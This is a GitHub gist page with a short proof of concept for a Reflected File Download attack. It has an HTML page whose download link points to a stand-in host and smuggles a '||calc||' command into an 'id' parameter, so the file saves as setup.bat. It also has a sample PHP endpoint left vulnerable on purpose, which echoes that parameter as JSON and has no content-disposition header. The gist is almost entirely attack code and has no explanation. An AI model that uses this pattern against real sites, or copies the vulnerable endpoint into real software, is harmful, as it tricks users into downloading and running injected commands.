Skip to content

Instantly share code, notes, and snippets.

@mrtc0

mrtc0/rfd.html

Last active May 5, 2016 15:07
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save mrtc0/4a3e7aa259e1fb6bc181c8ac04d65769 to your computer and use it in GitHub Desktop.
Save mrtc0/4a3e7aa259e1fb6bc181c8ac04d65769 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
rfd.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title></title>
</head>
<body>
<a download href='http://attacker.local/rfd/rfd.php/setup.bat?id="||calc||'>click here</a>
</body>
</html>
Raw
rfd_sample.php
<?php
$id = $_GET['id'];
$data = array('id'=>$id,'val'=>'val');
header("Content-Type: application/json; charset=utf-8");
#header("Content-Disposition: attachment;");
echo json_encode($data);
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment